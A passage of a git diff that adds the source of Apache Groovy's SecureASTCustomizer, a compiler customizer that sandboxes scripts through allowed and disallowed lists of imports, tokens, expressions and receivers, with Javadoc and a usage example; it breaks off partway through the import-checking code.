diff --git a/org/codehaus/groovy/control/customizers/SecureASTCustomizer.java b/org/codehaus/groovy/control/customizers/SecureASTCustomizer.java
new file mode 100644
index 0000000000..811cdf17cb
--- /dev/null
+++ b/org/codehaus/groovy/control/customizers/SecureASTCustomizer.java
@@ -0,0 +1,1566 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.codehaus.groovy.control.customizers;
+
+import org.codehaus.groovy.ast.ClassNode;
+import org.codehaus.groovy.ast.CodeVisitorSupport;
+import org.codehaus.groovy.ast.GroovyCodeVisitor;
+import org.codehaus.groovy.ast.ImportNode;
+import org.codehaus.groovy.ast.MethodNode;
+import org.codehaus.groovy.ast.ModuleNode;
+import org.codehaus.groovy.ast.expr.ArgumentListExpression;
+import org.codehaus.groovy.ast.expr.ArrayExpression;
+import org.codehaus.groovy.ast.expr.AttributeExpression;
+import org.codehaus.groovy.ast.expr.BinaryExpression;
+import org.codehaus.groovy.ast.expr.BitwiseNegationExpression;
+import org.codehaus.groovy.ast.expr.BooleanExpression;
+import org.codehaus.groovy.ast.expr.CastExpression;
+import org.codehaus.groovy.ast.expr.ClassExpression;
+import org.codehaus.groovy.ast.expr.ClosureExpression;
+import org.codehaus.groovy.ast.expr.ClosureListExpression;
+import org.codehaus.groovy.ast.expr.ConstantExpression;
+import org.codehaus.groovy.ast.expr.ConstructorCallExpression;
+import org.codehaus.groovy.ast.expr.DeclarationExpression;
+import org.codehaus.groovy.ast.expr.ElvisOperatorExpression;
+import org.codehaus.groovy.ast.expr.Expression;
+import org.codehaus.groovy.ast.expr.FieldExpression;
+import org.codehaus.groovy.ast.expr.GStringExpression;
+import org.codehaus.groovy.ast.expr.LambdaExpression;
+import org.codehaus.groovy.ast.expr.ListExpression;
+import org.codehaus.groovy.ast.expr.MapEntryExpression;
+import org.codehaus.groovy.ast.expr.MapExpression;
+import org.codehaus.groovy.ast.expr.MethodCallExpression;
+import org.codehaus.groovy.ast.expr.MethodPointerExpression;
+import org.codehaus.groovy.ast.expr.MethodReferenceExpression;
+import org.codehaus.groovy.ast.expr.NotExpression;
+import org.codehaus.groovy.ast.expr.PostfixExpression;
+import org.codehaus.groovy.ast.expr.PrefixExpression;
+import org.codehaus.groovy.ast.expr.PropertyExpression;
+import org.codehaus.groovy.ast.expr.RangeExpression;
+import org.codehaus.groovy.ast.expr.SpreadExpression;
+import org.codehaus.groovy.ast.expr.SpreadMapExpression;
+import org.codehaus.groovy.ast.expr.StaticMethodCallExpression;
+import org.codehaus.groovy.ast.expr.TernaryExpression;
+import org.codehaus.groovy.ast.expr.TupleExpression;
+import org.codehaus.groovy.ast.expr.UnaryMinusExpression;
+import org.codehaus.groovy.ast.expr.UnaryPlusExpression;
+import org.codehaus.groovy.ast.expr.VariableExpression;
+import org.codehaus.groovy.ast.stmt.AssertStatement;
+import org.codehaus.groovy.ast.stmt.BlockStatement;
+import org.codehaus.groovy.ast.stmt.BreakStatement;
+import org.codehaus.groovy.ast.stmt.CaseStatement;
+import org.codehaus.groovy.ast.stmt.CatchStatement;
+import org.codehaus.groovy.ast.stmt.ContinueStatement;
+import org.codehaus.groovy.ast.stmt.DoWhileStatement;
+import org.codehaus.groovy.ast.stmt.EmptyStatement;
+import org.codehaus.groovy.ast.stmt.ExpressionStatement;
+import org.codehaus.groovy.ast.stmt.ForStatement;
+import org.codehaus.groovy.ast.stmt.IfStatement;
+import org.codehaus.groovy.ast.stmt.ReturnStatement;
+import org.codehaus.groovy.ast.stmt.Statement;
+import org.codehaus.groovy.ast.stmt.SwitchStatement;
+import org.codehaus.groovy.ast.stmt.SynchronizedStatement;
+import org.codehaus.groovy.ast.stmt.ThrowStatement;
+import org.codehaus.groovy.ast.stmt.TryCatchStatement;
+import org.codehaus.groovy.ast.stmt.WhileStatement;
+import org.codehaus.groovy.classgen.BytecodeExpression;
+import org.codehaus.groovy.classgen.GeneratorContext;
+import org.codehaus.groovy.control.CompilationFailedException;
+import org.codehaus.groovy.control.CompilePhase;
+import org.codehaus.groovy.control.SourceUnit;
+import org.codehaus.groovy.syntax.Token;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * This customizer allows securing source code by controlling what code constructs are permitted.
+ * This is typically done when using Groovy for its scripting or domain specific language (DSL) features.
+ * For example, if you only want to allow arithmetic operations in a groovy shell,
+ * you can configure this customizer to restrict package imports, method calls and so on.
+ *
+ * Most of the security customization options found in this class work with either allowed or disallowed lists.
+ * This means that, for a single option, you can set an allowed list OR a disallowed list, but not both.
+ * You can mix allowed/disallowed strategies for different options.
+ * For example, you can have an allowed import list and a disallowed tokens list.
+ *
+ * The recommended way of securing shells is to use allowed lists because it is guaranteed that future features of the
+ * Groovy language won't be accidentally allowed unless explicitly added to the allowed list.
+ * Using disallowed lists, you can limit the features of the language constructs supported by your shell by opting
+ * out, but new language features are then implicitly also available and this may not be desirable.
+ * The implication is that you might need to update your configuration with each new release.
+ *
+ * If neither an allowed list nor a disallowed list is set, then everything is permitted.
+ *
+ * Combinations of import and star import constraints are authorized as long as you use the same type of list for both.
+ * For example, you may use an import allowed list and a star import allowed list together, but you cannot use an import
+ * allowed list with a star import disallowed list. Static imports are handled separately, meaning that disallowing an
+ * import does not prevent from allowing a static import.
+ *
+ * Eventually, if the features provided here are not sufficient, you may implement custom AST filtering handlers, either
+ * implementing the {@link StatementChecker} interface or {@link ExpressionChecker} interface then register your
+ * handlers thanks to the {@link #addExpressionCheckers(ExpressionChecker...)}
+ * and {@link #addStatementCheckers(StatementChecker...)}
+ * methods.
+ *
+ * Here is an example of usage. We will create a groovy classloader which only supports arithmetic operations and imports
+ * the {@code java.lang.Math} classes by default.
+ *
+ *
+ * final ImportCustomizer imports = new ImportCustomizer().addStaticStars('java.lang.Math') // add static import of java.lang.Math
+ * final SecureASTCustomizer secure = new SecureASTCustomizer()
+ * secure.with {
+ * closuresAllowed = false
+ * methodDefinitionAllowed = false
+ *
+ * allowedImports = []
+ * allowedStaticImports = []
+ * allowedStaticStarImports = ['java.lang.Math'] // only java.lang.Math is allowed
+ *
+ * allowedTokens = [
+ * PLUS,
+ * MINUS,
+ * MULTIPLY,
+ * DIVIDE,
+ * REMAINDER,
+ * POWER,
+ * PLUS_PLUS,
+ * MINUS_MINUS,
+ * COMPARE_EQUAL,
+ * COMPARE_NOT_EQUAL,
+ * COMPARE_LESS_THAN,
+ * COMPARE_LESS_THAN_EQUAL,
+ * COMPARE_GREATER_THAN,
+ * COMPARE_GREATER_THAN_EQUAL,
+ * ].asImmutable()
+ *
+ * allowedConstantTypesClasses = [
+ * Integer,
+ * Float,
+ * Long,
+ * Double,
+ * BigDecimal,
+ * Integer.TYPE,
+ * Long.TYPE,
+ * Float.TYPE,
+ * Double.TYPE
+ * ].asImmutable()
+ *
+ * allowedReceiversClasses = [
+ * Math,
+ * Integer,
+ * Float,
+ * Double,
+ * Long,
+ * BigDecimal
+ * ].asImmutable()
+ * }
+ * CompilerConfiguration config = new CompilerConfiguration()
+ * config.addCompilationCustomizers(imports, secure)
+ * GroovyClassLoader loader = new GroovyClassLoader(this.class.classLoader, config)
+ *
+ *
+ * Note: {@code SecureASTCustomizer} allows you to lock down the grammar of scripts but by itself isn't intended
+ * to be the complete solution of all security issues when running scripts on the JVM. You might also want to
+ * consider setting the {@code groovy.grape.enable} System property to false, augmenting use of the customizer
+ * with additional techniques, and following standard security principles for JVM applications.
+ *
+ * For more information, please read:
+ *
Improved sandboxing of Groovy scripts
+ * Oracle's Secure Coding Guidelines
+ * 10 Java security best practices
+ * Thirteen rules for developing secure Java applications
+ * 12 Java Security Best Practices
+ *
+ * @since 1.8.0
+ */
+public class SecureASTCustomizer extends CompilationCustomizer {
+
+ private boolean isPackageAllowed = true;
+ private boolean isClosuresAllowed = true;
+ private boolean isMethodDefinitionAllowed = true;
+
+ // imports
+ private List allowedImports;
+ private List disallowedImports;
+
+ // static imports
+ private List allowedStaticImports;
+ private List disallowedStaticImports;
+
+ // star imports
+ private List allowedStarImports;
+ private List disallowedStarImports;
+
+ // static star imports
+ private List allowedStaticStarImports;
+ private List disallowedStaticStarImports;
+
+ // indirect import checks
+ // if set to true, then security rules on imports will also be applied on classnodes.
+ // Direct instantiation of classes without imports will therefore also fail if this option is enabled
+ private boolean isIndirectImportCheckEnabled;
+
+ // statements
+ private List> allowedStatements;
+ private List> disallowedStatements;
+ private final List statementCheckers = new LinkedList<>();
+
+ // expressions
+ private List> allowedExpressions;
+ private List> disallowedExpressions;
+ private final List expressionCheckers = new LinkedList<>();
+
+ // tokens from Types
+ private List allowedTokens;
+ private List disallowedTokens;
+
+ // constant types
+ private List allowedConstantTypes;
+ private List disallowedConstantTypes;
+
+ // receivers
+ private List allowedReceivers;
+ private List disallowedReceivers;
+
+ public SecureASTCustomizer() {
+ super(CompilePhase.CANONICALIZATION);
+ }
+
+ public boolean isMethodDefinitionAllowed() {
+ return isMethodDefinitionAllowed;
+ }
+
+ public void setMethodDefinitionAllowed(final boolean methodDefinitionAllowed) {
+ isMethodDefinitionAllowed = methodDefinitionAllowed;
+ }
+
+ public boolean isPackageAllowed() {
+ return isPackageAllowed;
+ }
+
+ public boolean isClosuresAllowed() {
+ return isClosuresAllowed;
+ }
+
+ public void setClosuresAllowed(final boolean closuresAllowed) {
+ isClosuresAllowed = closuresAllowed;
+ }
+
+ public void setPackageAllowed(final boolean packageAllowed) {
+ isPackageAllowed = packageAllowed;
+ }
+
+ public List getDisallowedImports() {
+ return disallowedImports;
+ }
+
+ /**
+ * Legacy alias for {@link #getDisallowedImports()}
+ */
+ @Deprecated
+ public List getImportsBlacklist() {
+ return getDisallowedImports();
+ }
+
+ public void setDisallowedImports(final List disallowedImports) {
+ if (allowedImports != null || allowedStarImports != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.disallowedImports = disallowedImports;
+ }
+
+ /**
+ * Legacy alias for {@link #setDisallowedImports(List)}
+ */
+ @Deprecated
+ public void setImportsBlacklist(final List disallowedImports) {
+ setDisallowedImports(disallowedImports);
+ }
+
+ public List getAllowedImports() {
+ return allowedImports;
+ }
+
+ /**
+ * Legacy alias for {@link #getAllowedImports()}
+ */
+ @Deprecated
+ public List getImportsWhitelist() {
+ return getAllowedImports();
+ }
+
+ public void setAllowedImports(final List allowedImports) {
+ if (disallowedImports != null || disallowedStarImports != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.allowedImports = allowedImports;
+ }
+
+ /**
+ * Legacy alias for {@link #setAllowedImports(List)}
+ */
+ @Deprecated
+ public void setImportsWhitelist(final List allowedImports) {
+ setAllowedImports(allowedImports);
+ }
+
+ public List getDisallowedStarImports() {
+ return disallowedStarImports;
+ }
+
+ /**
+ * Legacy alias for {@link #getDisallowedStarImports()}
+ */
+ @Deprecated
+ public List getStarImportsBlacklist() {
+ return getDisallowedStarImports();
+ }
+
+ public void setDisallowedStarImports(final List disallowedStarImports) {
+ if (allowedImports != null || allowedStarImports != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.disallowedStarImports = normalizeStarImports(disallowedStarImports);
+ if (this.disallowedImports == null) disallowedImports = Collections.emptyList();
+ }
+
+ /**
+ * Legacy alias for {@link #setDisallowedStarImports(List)}
+ */
+ @Deprecated
+ public void setStarImportsBlacklist(final List disallowedStarImports) {
+ setDisallowedStarImports(disallowedStarImports);
+ }
+
+ public List getAllowedStarImports() {
+ return allowedStarImports;
+ }
+
+ /**
+ * Legacy alias for {@link #getAllowedStarImports()}
+ */
+ @Deprecated
+ public List getStarImportsWhitelist() {
+ return getAllowedStarImports();
+ }
+
+ public void setAllowedStarImports(final List allowedStarImports) {
+ if (disallowedImports != null || disallowedStarImports != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.allowedStarImports = normalizeStarImports(allowedStarImports);
+ if (this.allowedImports == null) allowedImports = Collections.emptyList();
+ }
+
+ /**
+ * Legacy alias for {@link #setAllowedStarImports(List)}
+ */
+ @Deprecated
+ public void setStarImportsWhitelist(final List allowedStarImports) {
+ setAllowedStarImports(allowedStarImports);
+ }
+
+ private static List normalizeStarImports(List starImports) {
+ List result = new ArrayList<>(starImports.size());
+ for (String starImport : starImports) {
+ if (starImport.endsWith(".*")) {
+ result.add(starImport);
+ } else if (starImport.endsWith("**")) {
+ result.add(starImport.replaceFirst("\\*+$", ""));
+ } else if (starImport.endsWith(".")) {
+ result.add(starImport + "*");
+ } else {
+ result.add(starImport + ".*");
+ }
+ }
+ return Collections.unmodifiableList(result);
+ }
+
+ public List getDisallowedStaticImports() {
+ return disallowedStaticImports;
+ }
+
+ /**
+ * Legacy alias for {@link #getDisallowedStaticImports()}
+ */
+ @Deprecated
+ public List getStaticImportsBlacklist() {
+ return getDisallowedStaticImports();
+ }
+
+ public void setDisallowedStaticImports(final List disallowedStaticImports) {
+ if (allowedStaticImports != null || allowedStaticStarImports != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.disallowedStaticImports = disallowedStaticImports;
+ }
+
+ /**
+ * Legacy alias for {@link #setDisallowedStaticImports(List)}
+ */
+ @Deprecated
+ public void setStaticImportsBlacklist(final List disallowedStaticImports) {
+ setDisallowedStaticImports(disallowedStaticImports);
+ }
+
+ public List getAllowedStaticImports() {
+ return allowedStaticImports;
+ }
+
+ /**
+ * Legacy alias for {@link #getAllowedStaticImports()}
+ */
+ @Deprecated
+ public List getStaticImportsWhitelist() {
+ return getAllowedStaticImports();
+ }
+
+ public void setAllowedStaticImports(final List allowedStaticImports) {
+ if (disallowedStaticImports != null || disallowedStaticStarImports != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.allowedStaticImports = allowedStaticImports;
+ }
+
+ /**
+ * Legacy alias for {@link #setAllowedStaticImports(List)}
+ */
+ @Deprecated
+ public void setStaticImportsWhitelist(final List allowedStaticImports) {
+ setAllowedStaticImports(allowedStaticImports);
+ }
+
+ public List getDisallowedStaticStarImports() {
+ return disallowedStaticStarImports;
+ }
+
+ /**
+ * Legacy alias for {@link #getDisallowedStaticStarImports()}
+ */
+ @Deprecated
+ public List getStaticStarImportsBlacklist() {
+ return getDisallowedStaticStarImports();
+ }
+
+ public void setDisallowedStaticStarImports(final List disallowedStaticStarImports) {
+ if (allowedStaticImports != null || allowedStaticStarImports != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.disallowedStaticStarImports = normalizeStarImports(disallowedStaticStarImports);
+ if (this.disallowedStaticImports == null) this.disallowedStaticImports = Collections.emptyList();
+ }
+
+ /**
+ * Legacy alias for {@link #setDisallowedStaticStarImports(List)}
+ */
+ @Deprecated
+ public void setStaticStarImportsBlacklist(final List disallowedStaticStarImports) {
+ setDisallowedStaticStarImports(disallowedStaticStarImports);
+ }
+
+ public List getAllowedStaticStarImports() {
+ return allowedStaticStarImports;
+ }
+
+ /**
+ * Legacy alias for {@link #getAllowedStaticStarImports()}
+ */
+ @Deprecated
+ public List getStaticStarImportsWhitelist() {
+ return getAllowedStaticStarImports();
+ }
+
+ public void setAllowedStaticStarImports(final List allowedStaticStarImports) {
+ if (disallowedStaticImports != null || disallowedStaticStarImports != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.allowedStaticStarImports = normalizeStarImports(allowedStaticStarImports);
+ if (this.allowedStaticImports == null) this.allowedStaticImports = Collections.emptyList();
+ }
+
+ /**
+ * Legacy alias for {@link #setAllowedStaticStarImports(List)}
+ */
+ @Deprecated
+ public void setStaticStarImportsWhitelist(final List allowedStaticStarImports) {
+ setAllowedStaticStarImports(allowedStaticStarImports);
+ }
+
+ public List> getDisallowedExpressions() {
+ return disallowedExpressions;
+ }
+
+ /**
+ * Legacy alias for {@link #getDisallowedExpressions()}
+ */
+ @Deprecated
+ public List> getExpressionsBlacklist() {
+ return getDisallowedExpressions();
+ }
+
+ public void setDisallowedExpressions(final List> disallowedExpressions) {
+ if (allowedExpressions != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.disallowedExpressions = disallowedExpressions;
+ }
+
+ /**
+ * Legacy alias for {@link #setDisallowedExpressions(List)}
+ */
+ @Deprecated
+ public void setExpressionsBlacklist(final List> disallowedExpressions) {
+ setDisallowedExpressions(disallowedExpressions);
+ }
+
+ public List> getAllowedExpressions() {
+ return allowedExpressions;
+ }
+
+ /**
+ * Legacy alias for {@link #getAllowedExpressions()}
+ */
+ @Deprecated
+ public List> getExpressionsWhitelist() {
+ return getAllowedExpressions();
+ }
+
+ public void setAllowedExpressions(final List> allowedExpressions) {
+ if (disallowedExpressions != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.allowedExpressions = allowedExpressions;
+ }
+
+ /**
+ * Legacy alias for {@link #setAllowedExpressions(List)}
+ */
+ @Deprecated
+ public void setExpressionsWhitelist(final List> allowedExpressions) {
+ setAllowedExpressions(allowedExpressions);
+ }
+
+ public List> getDisallowedStatements() {
+ return disallowedStatements;
+ }
+
+ /**
+ * Legacy alias for {@link #getDisallowedStatements()}
+ */
+ @Deprecated
+ public List> getStatementsBlacklist() {
+ return getDisallowedStatements();
+ }
+
+ public void setDisallowedStatements(final List> disallowedStatements) {
+ if (allowedStatements != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.disallowedStatements = disallowedStatements;
+ }
+
+ /**
+ * Legacy alias for {@link #setDisallowedStatements(List)}
+ */
+ @Deprecated
+ public void setStatementsBlacklist(final List> disallowedStatements) {
+ setDisallowedStatements(disallowedStatements);
+ }
+
+ public List> getAllowedStatements() {
+ return allowedStatements;
+ }
+
+ /**
+ * Legacy alias for {@link #getAllowedStatements()}
+ */
+ @Deprecated
+ public List> getStatementsWhitelist() {
+ return getAllowedStatements();
+ }
+
+ public void setAllowedStatements(final List> allowedStatements) {
+ if (disallowedStatements != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.allowedStatements = allowedStatements;
+ }
+
+ /**
+ * Legacy alias for {@link #setAllowedStatements(List)}
+ */
+ @Deprecated
+ public void setStatementsWhitelist(final List> allowedStatements) {
+ setAllowedStatements(allowedStatements);
+ }
+
+ public boolean isIndirectImportCheckEnabled() {
+ return isIndirectImportCheckEnabled;
+ }
+
+ /**
+ * Set this option to true if you want your import rules to be checked against every class node. This means that if
+ * someone uses a fully qualified class name, then it will also be checked against the import rules, preventing, for
+ * example, instantiation of classes without imports thanks to FQCN.
+ *
+ * @param indirectImportCheckEnabled set to true to enable indirect checks
+ */
+ public void setIndirectImportCheckEnabled(final boolean indirectImportCheckEnabled) {
+ isIndirectImportCheckEnabled = indirectImportCheckEnabled;
+ }
+
+ public List getDisallowedTokens() {
+ return disallowedTokens;
+ }
+
+ /**
+ * Legacy alias for {@link #getDisallowedTokens()}
+ */
+ @Deprecated
+ public List getTokensBlacklist() {
+ return getDisallowedTokens();
+ }
+
+ /**
+ * Sets the list of tokens which are not permitted.
+ *
+ * @param disallowedTokens the tokens. The values of the tokens must be those of {@link org.codehaus.groovy.syntax.Types}
+ */
+ public void setDisallowedTokens(final List disallowedTokens) {
+ if (allowedTokens != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.disallowedTokens = disallowedTokens;
+ }
+
+ /**
+ * Legacy alias for {@link #setDisallowedTokens(List)}.
+ */
+ @Deprecated
+ public void setTokensBlacklist(final List disallowedTokens) {
+ setDisallowedTokens(disallowedTokens);
+ }
+
+ public List getAllowedTokens() {
+ return allowedTokens;
+ }
+
+ /**
+ * Legacy alias for {@link #getAllowedTokens()}
+ */
+ @Deprecated
+ public List getTokensWhitelist() {
+ return getAllowedTokens();
+ }
+
+ /**
+ * Sets the list of tokens which are permitted.
+ *
+ * @param allowedTokens the tokens. The values of the tokens must be those of {@link org.codehaus.groovy.syntax.Types}
+ */
+ public void setAllowedTokens(final List allowedTokens) {
+ if (disallowedTokens != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.allowedTokens = allowedTokens;
+ }
+
+ /**
+ * Legacy alias for {@link #setAllowedTokens(List)}
+ */
+ @Deprecated
+ public void setTokensWhitelist(final List allowedTokens) {
+ setAllowedTokens(allowedTokens);
+ }
+
+ public void addStatementCheckers(StatementChecker... checkers) {
+ statementCheckers.addAll(Arrays.asList(checkers));
+ }
+
+ public void addExpressionCheckers(ExpressionChecker... checkers) {
+ expressionCheckers.addAll(Arrays.asList(checkers));
+ }
+
+ public List getDisallowedConstantTypes() {
+ return disallowedConstantTypes;
+ }
+
+ /**
+ * Legacy alias for {@link #getDisallowedConstantTypes()}
+ */
+ @Deprecated
+ public List getConstantTypesBlackList() {
+ return getDisallowedConstantTypes();
+ }
+
+ public void setConstantTypesBlackList(final List constantTypesBlackList) {
+ if (allowedConstantTypes != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.disallowedConstantTypes = constantTypesBlackList;
+ }
+
+ public List getAllowedConstantTypes() {
+ return allowedConstantTypes;
+ }
+
+ /**
+ * Legacy alias for {@link #getAllowedStatements()}
+ */
+ @Deprecated
+ public List getConstantTypesWhiteList() {
+ return getAllowedConstantTypes();
+ }
+
+ public void setAllowedConstantTypes(final List allowedConstantTypes) {
+ if (disallowedConstantTypes != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.allowedConstantTypes = allowedConstantTypes;
+ }
+
+ /**
+ * Legacy alias for {@link #setAllowedConstantTypes(List)}
+ */
+ @Deprecated
+ public void setConstantTypesWhiteList(final List allowedConstantTypes) {
+ setAllowedConstantTypes(allowedConstantTypes);
+ }
+
+ /**
+ * An alternative way of setting constant types.
+ *
+ * @param allowedConstantTypes a list of classes.
+ */
+ public void setAllowedConstantTypesClasses(final List allowedConstantTypes) {
+ List values = new LinkedList<>();
+ for (Class aClass : allowedConstantTypes) {
+ values.add(aClass.getName());
+ }
+ setConstantTypesWhiteList(values);
+ }
+
+ /**
+ * Legacy alias for {@link #setAllowedConstantTypesClasses(List)}
+ */
+ @Deprecated
+ public void setConstantTypesClassesWhiteList(final List allowedConstantTypes) {
+ setAllowedConstantTypesClasses(allowedConstantTypes);
+ }
+
+ /**
+ * An alternative way of setting constant types.
+ *
+ * @param disallowedConstantTypes a list of classes.
+ */
+ public void setDisallowedConstantTypesClasses(final List disallowedConstantTypes) {
+ List values = new LinkedList<>();
+ for (Class aClass : disallowedConstantTypes) {
+ values.add(aClass.getName());
+ }
+ setConstantTypesBlackList(values);
+ }
+
+ /**
+ * Legacy alias for {@link #setDisallowedConstantTypesClasses(List)}
+ */
+ @Deprecated
+ public void setConstantTypesClassesBlackList(final List disallowedConstantTypes) {
+ setDisallowedConstantTypesClasses(disallowedConstantTypes);
+ }
+
+ public List getDisallowedReceivers() {
+ return disallowedReceivers;
+ }
+
+ /**
+ * Legacy alias for {@link #getDisallowedReceivers()}
+ */
+ @Deprecated
+ public List getReceiversBlackList() {
+ return getDisallowedReceivers();
+ }
+
+ /**
+ * Sets the list of classes which deny method calls.
+ *
+ * Please note that since Groovy is a dynamic language, and
+ * this class performs a static type check, it will be relatively
+ * simple to bypass any disallowed list unless the disallowed receivers list contains, at
+ * a minimum, Object, Script, GroovyShell, and Eval. Additionally,
+ * it is necessary to also have MethodPointerExpression in the
+ * disallowed expressions list for the disallowed receivers list to function
+ * as a security check.
+ *
+ * @param disallowedReceivers the list of refused classes, as fully qualified names
+ */
+ public void setDisallowedReceivers(final List disallowedReceivers) {
+ if (allowedReceivers != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.disallowedReceivers = disallowedReceivers;
+ }
+
+ /**
+ * Legacy alias for {@link #setDisallowedReceivers(List)}
+ */
+ @Deprecated
+ public void setReceiversBlackList(final List disallowedReceivers) {
+ setDisallowedReceivers(disallowedReceivers);
+ }
+
+ /**
+ * An alternative way of setting {@link #setDisallowedReceivers(java.util.List) receiver classes}.
+ *
+ * @param disallowedReceivers a list of classes.
+ */
+ public void setDisallowedReceiversClasses(final List disallowedReceivers) {
+ List values = new LinkedList<>();
+ for (Class aClass : disallowedReceivers) {
+ values.add(aClass.getName());
+ }
+ setReceiversBlackList(values);
+ }
+
+ /**
+ * Legacy alias for {@link #setDisallowedReceiversClasses(List)}.
+ */
+ @Deprecated
+ public void setReceiversClassesBlackList(final List disallowedReceivers) {
+ setDisallowedReceiversClasses(disallowedReceivers);
+ }
+
+ public List getAllowedReceivers() {
+ return allowedReceivers;
+ }
+
+ /**
+ * Legacy alias for {@link #getAllowedReceivers()}
+ */
+ @Deprecated
+ public List getReceiversWhiteList() {
+ return getAllowedReceivers();
+ }
+
+ /**
+ * Sets the list of classes which may accept method calls.
+ *
+ * @param allowedReceivers the list of accepted classes, as fully qualified names
+ */
+ public void setAllowedReceivers(final List allowedReceivers) {
+ if (disallowedReceivers != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.allowedReceivers = allowedReceivers;
+ }
+
+ /**
+ * Legacy alias for {@link #setAllowedReceivers(List)}
+ */
+ @Deprecated
+ public void setReceiversWhiteList(final List allowedReceivers) {
+ if (disallowedReceivers != null) {
+ throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list");
+ }
+ this.allowedReceivers = allowedReceivers;
+ }
+
+ /**
+ * An alternative way of setting {@link #setReceiversWhiteList(java.util.List) receiver classes}.
+ *
+ * @param allowedReceivers a list of classes.
+ */
+ public void setAllowedReceiversClasses(final List allowedReceivers) {
+ List values = new LinkedList<>();
+ for (Class aClass : allowedReceivers) {
+ values.add(aClass.getName());
+ }
+ setReceiversWhiteList(values);
+ }
+
+ /**
+ * Legacy alias for {@link #setAllowedReceiversClasses(List)}
+ */
+ @Deprecated
+ public void setReceiversClassesWhiteList(final List allowedReceivers) {
+ setAllowedReceiversClasses(allowedReceivers);
+ }
+
+ @Override
+ public void call(final SourceUnit source, final GeneratorContext context, final ClassNode classNode) throws CompilationFailedException {
+ ModuleNode ast = source.getAST();
+ if (!isPackageAllowed && ast.getPackage() != null) {
+ throw new SecurityException("Package definitions are not allowed");
+ }
+ checkMethodDefinitionAllowed(classNode);
+
+ // verify imports
+ if (disallowedImports != null || allowedImports != null || disallowedStarImports != null || allowedStarImports != null) {
+ for (ImportNode importNode : ast.getImports()) {
+ assertImportIsAllowed(importNode.getClassName());
+ }
+ for (ImportNode importNode : ast.getStarImports()) {
+ assertStarImportIsAllowed(importNode.getPackageName() + "*");
+ }
+ }
+
+ // verify static imports
+ if (disallowedStaticImports != null || allowedStaticImports != null || disallowedStaticStarImports != null || allowedStaticStarImports != null) {
+ for (Map.Entry entry : ast.getStaticImports().entrySet()) {
+ final String className = entry.getValue().getClassName();
+ assertStaticImportIsAllowed(entry.getKey(), className);
+ }
+ for (Map.Entry entry : ast.getStaticStarImports().entrySet()) {
+ final String className = entry.getValue().getClassName();
+ assertStaticImportIsAllowed(entry.getKey(), className);
+ }
+ }
+
+ GroovyCodeVisitor visitor = createGroovyCodeVisitor();
+ ast.getStatementBlock().visit(visitor);
+ for (ClassNode clNode : ast.getClasses()) {
+ if (clNode!=classNode) {
+ checkMethodDefinitionAllowed(clNode);
+ for (MethodNode methodNode : clNode.getMethods()) {
+ if (!methodNode.isSynthetic() && methodNode.getCode() != null) {
+ methodNode.getCode().visit(visitor);
+ }
+ }
+ }
+ }
+
+ List methods = filterMethods(classNode);
+ if (isMethodDefinitionAllowed) {
+ for (MethodNode method : methods) {
+ if (method.getDeclaringClass() == classNode && method.getCode() != null) {
+ method.getCode().visit(visitor);
+ }
+ }
+ }
+ }
+
+ protected GroovyCodeVisitor createGroovyCodeVisitor() {
+ return new SecuringCodeVisitor();
+ }
+
+ protected void checkMethodDefinitionAllowed(ClassNode owner) {
+ if (isMethodDefinitionAllowed) return;
+ List methods = filterMethods(owner);
+ if (!methods.isEmpty()) throw new SecurityException("Method definitions are not allowed");
+ }
+
+ protected static List filterMethods(ClassNode owner) {
+ List result = new LinkedList<>();
+ List methods = owner.getMethods();
+ for (MethodNode method : methods) {
+ if (method.getDeclaringClass() == owner && !method.isSynthetic()) {
+ if (("main".equals(method.getName()) || "run".equals(method.getName())) && method.isScriptBody()) continue;
+ result.add(method);
+ }
+ }
+ return result;
+ }
+
+ protected void assertStarImportIsAllowed(final String packageName) {
+ if (allowedStarImports != null && !(allowedStarImports.contains(packageName)
+ || allowedStarImports.stream().filter(it -> it.endsWith(".")).anyMatch(packageName::startsWith))) {
+ throw new SecurityException("Importing [" + packageName + "] is not allowed");
+ }
+ if (disallowedStarImports != null && (disallowedStarImports.contains(packageName)
+ || disallowedStarImports.stream().filter(it -> it.endsWith(".")).anyMatch(packageName::startsWith))) {
